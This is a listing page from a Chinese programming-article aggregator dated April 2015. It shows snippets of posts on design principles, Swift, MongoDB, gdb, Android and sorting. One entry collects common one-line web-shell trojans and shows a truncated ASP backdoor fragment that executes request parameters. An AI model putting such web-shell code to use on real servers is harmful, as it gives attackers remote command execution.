首页 > 2015年04月11日 > 全部分享
设计模式六大原则之一:单一职责原则
设计模式六大原则(1):单一职责原则定义:不要存在多于一个导致类变更的原因。通俗的说,即一个类只负责一项职责。问题由来:类T负责两个不同的职责:职责P1,职责P2。当由于职责P1需求发生改变而需要修改类T时,有可能会导致原本运行正常的职责P2功能发生故障。解决方案:遵循单一职责原则。分别建立两个类T...
分类:其他   时间:2015-04-11 17:34:34    收藏:0  评论:0  赞:0  阅读:219
SWIFT Tuple Pattern及Struct Pattern
定义一个Tuplelet color = (1.0,1.0,1.0,1.0)switch color{case (0.0,0.5...1.0,let blue,_): //匹配第一个值为0.0第二个值为0.5到1.0第三四值为任意,并将第三个值传给blue变量 println("Blue is \....
分类:编程语言   时间:2015-04-11 17:34:24    收藏:0  评论:0  赞:0  阅读:285
常用一句话木马
asp一句话木马: php一句话木马: aspx一句话木马: 其他一句话木马: "" Then Execute(Request("value"))%> ""then session("value")=request("value"):end if:if sessio...
分类:其他   时间:2015-04-11 17:34:14    收藏:0  评论:0  赞:0  阅读:175
Android的底层库libutils介绍
第一部分 libutils概述 libutils是Android的底层库,这个库以C++实现,它提供的API也是C++的。Android的层次的C语言程序和库,大都基于libutils开发。 libutils中的头文件如下所示: frameworks/base/include/utils ...
分类:移动平台   时间:2015-04-11 17:34:04    收藏:0  评论:0  赞:0  阅读:185
mysql update操作
update语法Single-table语法:UPDATE [LOW_PRIORITY] [IGNORE] tbl_name SET col_name1=expr1 [, col_name2=expr2 ...] [WHERE where_definition] [ORDER BY...
分类:数据库技术   时间:2015-04-11 17:33:54    收藏:0  评论:0  赞:0  阅读:188
C#基础
第1章 C#简介1.1 .net framework的含义1.1.1 .net framework的内容 1.1.2 使用.net framework编写应用程序 1.2 C#的含义 7 1.2.1 用C#能编写什么样的应用程序第2章 编写C#程序 2.1 开发环境 2.1.1 ...
分类:Windows开发   时间:2015-04-11 17:33:44    收藏:0  评论:0  赞:0  阅读:268
顺序统计量
顺序统计量有关算法得与快速排序的分割联系起来#include #include using namespace std;typedef int index;index Rand_Partition(int *a, index p, index r);index Partition(int *a, i...
分类:其他   时间:2015-04-11 17:33:34    收藏:0  评论:0  赞:0  阅读:127
【原创】Android 对话框的使用
对话框即Dialog、google的官方解释:AdialogisusuallyasmallwindowthatappearsinfrontofthecurrentActivity.TheunderlyingActivitylosesfocusandthedialogacceptsalluserint...
分类:移动平台   时间:2015-04-11 17:33:14    收藏:0  评论:0  赞:0  阅读:238
mongodb 回滚
mongodb 回滚,在业务逻辑层上的一个替代思路
分类:数据库技术   时间:2015-04-11 17:32:54    收藏:0  评论:0  赞:0  阅读:229
mongodb 新建用户 -摘自网络
随着版本的更新,对在使用mongodb的业务也进行了版本升级,但是在drop掉一个数据库时,问题来了,原来的用户随着删除库也被删除掉,但是再想通过原来的语法db.addUser()添加,一直报错,提示用db.createUser()命令创建。首先如果在除admin库之外的用户通过db.addUser...
分类:数据库技术   时间:2015-04-11 17:32:34    收藏:0  评论:0  赞:0  阅读:123
Java虚拟机 垃圾收集算法及HotSpot算法实现
垃圾收集算法一般来说,垃圾收集算法分为四类:标记-清除算法最基础的算法便是标记-清除算法(Mark-Sweep)。算法分为“标记”和“清除”两个阶段:首先标记处需要收集的对象,在标记完成之后,再统一回收所有被标记的对象。这是最简单的一种算法,但是缺点也是很明显的:一个是效率问题,标记和清除效率都不高...
分类:编程语言   时间:2015-04-11 17:32:24    收藏:0  评论:0  赞:0  阅读:191
几个与时间相关的php的函数
这些函数很常用,但是不用的话,像我这样的初学者放下就记不清了,这时最好的办法就是去查文档,写一下印象会更深一些1.时间戳函数strtotime():一个就是string to time(我自己这样理解),时间的一个字符串文档中格式:2.date()函数:格式化时间文档中格式:具体格式参考手册,下图举...
分类:Web开发   时间:2015-04-11 17:32:14    收藏:0  评论:0  赞:0  阅读:296
Navicat 远程连接SQL Server 2014 Express 报08001错误
场景:Navicat 远程连接SQL Server 2014 Express 报08001错误,经查验防火墙端口1434,1433已经打开过程:1. 一开始觉得是连接名称问题,使用IP地址或者主机名进行连接,然后更换为IP地址\命名实例方式,使用后者较好2. 更换连接字符串后仍然报错08001,尝试...
分类:数据库技术   时间:2015-04-11 17:32:04    收藏:0  评论:0  赞:0  阅读:3386
iOS开发之友盟分享的使用
iOS开发之友盟分享的使用1. 准备工作 (1) 注册友盟账号, 获取Appkey (2) 根据需要下载分享库(注意: 最好64位)2. 基本分享 (1) 库文件拖进工程中umeng_ios_social_sdk_4.2 (2) 添加必要二进制库若你的工程设置了all_load,需要添加手机...
分类:移动平台   时间:2015-04-11 17:31:54    收藏:0  评论:0  赞:0  阅读:222
用循环链表实现Josephus问题
Josephus问题:设有n个人围坐在一个圆桌周围,现从第s个人开始报数,数到第m的人出列,然后从出列的下一个人重新开始报数,数到第m的人又出列。如此反复直到所有的人全部出列为止。 思路:构建一个没有头结点的循环链表,实现自己的删除函数,数到第几个结点就把这个结点从链表中删除,然后重新数。 ...
分类:其他   时间:2015-04-11 17:31:34    收藏:0  评论:0  赞:0  阅读:134
05.gdb入门(上)
?基本框架: a) Gdb功能 b) 运行程序 c) 查看源码 d) 设置断点(break)与观察点(watch) e) 单步调试 f) Gdb常用命令总结5.1 gdb功能1)启动程序: Run(r),另外启动程序的时候还可以带上参数(argv[1],argv[2]……)2...
分类:数据库技术   时间:2015-04-11 17:31:24    收藏:0  评论:0  赞:0  阅读:219
关于iphone开发中的@property和@synthesize的一些见解(转)
我的体会是@property和@synthesize有以下两个作用:1.作用一@property是在头文件.h中声明一个变量的setter和getter方法。@synthesize是在m文件中定义setter和getter方法的实现。2.作用二@property,在声明变量方法的时候可以附加定义该变...
分类:其他   时间:2015-04-11 17:31:14    收藏:0  评论:0  赞:0  阅读:232
排序七:基数排序
1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 using System.Threading.Tasks; 6 7 namespace R...
分类:编程语言   时间:2015-04-11 17:31:04    收藏:0  评论:0  赞:0  阅读:306
mongodb 实现join
mongodb 实现join,利用ref和populate
分类:数据库技术   时间:2015-04-11 17:30:44    收藏:0  评论:0  赞:0  阅读:258
Git报错-/libexec/git-core/git-sh-setup: line 83: /bin/sed: Bad file number
问题: Pull出现:/libexec/git-core/git-sh-setup: line 83: /bin/sed: Bad file number。尝试Revert、Clean Up均没有解决。最后决定重新从服务器Clone,发现还是不行。解决方法:修改本地Git配制文件添加master至....
分类:其他   时间:2015-04-11 17:30:34    收藏:0  评论:0  赞:0  阅读:393
1527条   上一页 1 ... 31 32 33 34 35 ... 77 下一页
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!